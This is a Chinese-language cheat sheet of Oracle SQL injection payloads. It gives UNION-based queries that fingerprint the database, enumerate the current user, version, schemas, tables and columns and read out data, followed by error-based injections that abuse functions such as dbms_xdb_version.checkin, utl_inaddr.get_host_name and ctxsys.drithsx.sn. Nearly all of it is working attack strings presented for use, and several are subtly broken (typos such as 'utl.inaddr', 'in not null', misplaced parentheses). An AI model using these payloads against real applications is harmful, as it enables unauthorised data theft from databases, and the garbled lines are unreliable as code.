Oracle数据库注入
oracle数据库权限分为2类
注释符:--
dba拥有全部权限,数据库最高权限,只有dba才可以创建数据库结构
oracle数据库自带的dual表,只有一行一列,每个用户都可以使用
dual表可能被删掉,sys可以恢复
判断是否为oracle数据库
利用dual表:and exists(select * from dual)
利用user_tables:and (select count(*) from user_tables)>0 --
联合注入
order by n --
强类型,字符类型需要对上,这里可以使用null代替无法猜测的数据类型位置如下:
union select null,null,null from dual 获取回显点后修改相对应的null判断有效回显位
获取当前数据库的用户
union select null,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),null from dual --
获取数据库版本信息
union select null,(select banner from sys.v_$version where rownum=1),null from dual --
获取第一个库名:
union select null,(select owner from all_tables where rownum=1),null from dual --
获取第二个数据库名:以此类推
union select null,(select owner from all_tables where rownum=1 and owner<>'第一个数据库'),null from dual --
获取第三个数据库名:以此类推
union select null,(select owner from all_tables where rownum=1 and owner<>'第一个数据库' and owner<>'第二个数据库'),null from dual -
获取当前数据库的第一个表名:
union select null,(select table_name from all_tables where rownum=1),null from dual --
获取当前数据库的第二个表名:以此类推
union select null,(select table_name from all_tables where rownum=1 and table_name <>'第一个表名'),null from dual --
获取当前数据库demo表的第一个字段名
union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1),null from dual --
获取当前数据库demo表的第二个字段名
union select null,(select column_name from user_tab_columns where table_name='DEMO' and rownum=1 and column_name <>'第一个字段'),null from dual --
读取数据:字段名需要用双引号括起来!!
union select null,"字段名"||-||"字段名", from 表名 --
报错注入
dbms_xdb_version.checkin()函数:获取当前用户名
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_versionuncheckout()函数
dbms_xdb_versionuncheckout(select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
utl_inaddr.get_host_name()函数 8g,9g,10g,版本中不需要任何权限,11g及以后的版本需要网络访问权限
and utl.inaddr.get_host_name((select user from dual))=1--
其他报错函数
dbms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual))from dual is not null)--
dbms_utility.sqlid_to_sqlhash()
and (select dbms_utility.sqlid_to_sqlhash(select user from dual))from dual in not null --
ordsys.ord_dicom.getmappingxpath()
and ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)=1 --
ctxsys.drithsx.sn()
and ctxsys.drithsx.sn(1,(select user from dual))=1 --